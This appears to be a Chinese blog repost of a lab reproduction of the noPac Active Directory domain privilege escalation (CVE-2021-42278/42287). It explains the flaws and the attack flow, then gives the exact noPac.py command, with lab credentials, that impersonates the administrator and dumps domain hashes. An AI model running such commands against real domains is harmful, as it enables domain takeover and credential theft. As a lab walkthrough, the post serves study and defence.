【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞

admin 2022年9月27日11:10:58评论163 views字数 1144阅读3分48秒阅读模式

漏洞简介

CVE-2021-42278

机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

CVE-2021-42287

当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。


利用流程

假如域内有一台域控名为 DC01(域控对应的机器用户为 DC01$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 xiaoxin,再把机器用户 xiaoxin 的 sAMAccountName 改成 DC01。然后利用 DC01 去申请一个TGT票据。再把 DC01 的sAMAccountName 改回来 xiaoxin。这个时候 KDC 就会判断域内没有 DC01 这个用户,自动去搜索 DC01$(DC01$是域控DC01 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC01 的 ST 票据,最终获得域控制器DC的权限。


漏洞环境

该漏洞复现环境是红日二靶场搭建的,拓扑如下

主机名字 IP
DC.de1ay.com 10.10.10.10
root kali 10.10.10.128

需要用到的工具

漏洞利用工具:noPachttps://github.com/Ridter/noPac网络协议工具:impackethttps://github.com/SecureAuthCorp/impacket


漏洞复现

该漏洞需要搜集到的数据是:

  1. 一个域用户账号密码

  2. 域控ip地址和域控名字

直接进行exp的使用

python3 noPac.py 域名字/域用户 :'域用户密码' -dc-ip 域控ip地址 -dc-host 域控名字 --impersonate administrator -dump -use-ldappython3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap

【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞


python3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap

【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞

成功提权。


- End -


原文始发于微信公众号(NS Demon团队):【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月27日11:10:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞https://cn-sec.com/archives/1318733.html

发表评论

匿名网友 填写信息